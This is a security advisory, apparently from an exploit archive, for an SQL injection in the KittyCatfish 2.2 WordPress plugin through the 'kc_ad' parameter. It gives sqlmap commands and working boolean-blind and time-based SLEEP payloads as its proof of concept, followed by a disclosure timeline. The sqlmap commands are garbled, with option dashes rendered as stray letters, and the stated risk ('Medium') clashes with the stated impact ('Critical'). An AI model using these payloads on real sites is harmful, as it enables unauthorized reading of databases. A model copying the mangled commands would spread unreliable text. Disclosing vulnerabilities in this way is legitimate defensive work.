WordPress KittyCatfish 2.2 SQL Injection

2017.04.27
Credit: TAD GROUP
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection # Date: 20/03/2017 # Exploit Author: TAD GROUP # Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/ # Software Link: https://wordpress.org/plugins-wp/kittycatfish/ # Version: 2.2 # Contact: info@tad.bg # Website: https://tad.bg <https://tad.bg> # Category: Web Application Exploits 1. Description An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database. The get oarameter 'kc_ad' is vulnerable. 2. Proof of concept sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0"" adbms athreads=10 arandom-agent OR sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0" adbms athreads=10 arandom-agent adbms=mysql alevel 5 arisk=3 Parameter: kc_ad (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: kc_ad=31 AND 2281=2281&ver=2.0 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0 3. Attack outcome: An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible. 4. Impact Critical 5. Affected versions <= 2.2 6. Disclosure timeline 06-Mar-2017 - found the vulnerability 06-Mar-2017 - informed the developer 20-Mar-2017 - release date of this security advisory Not fixed at the date of submitting this exploit.


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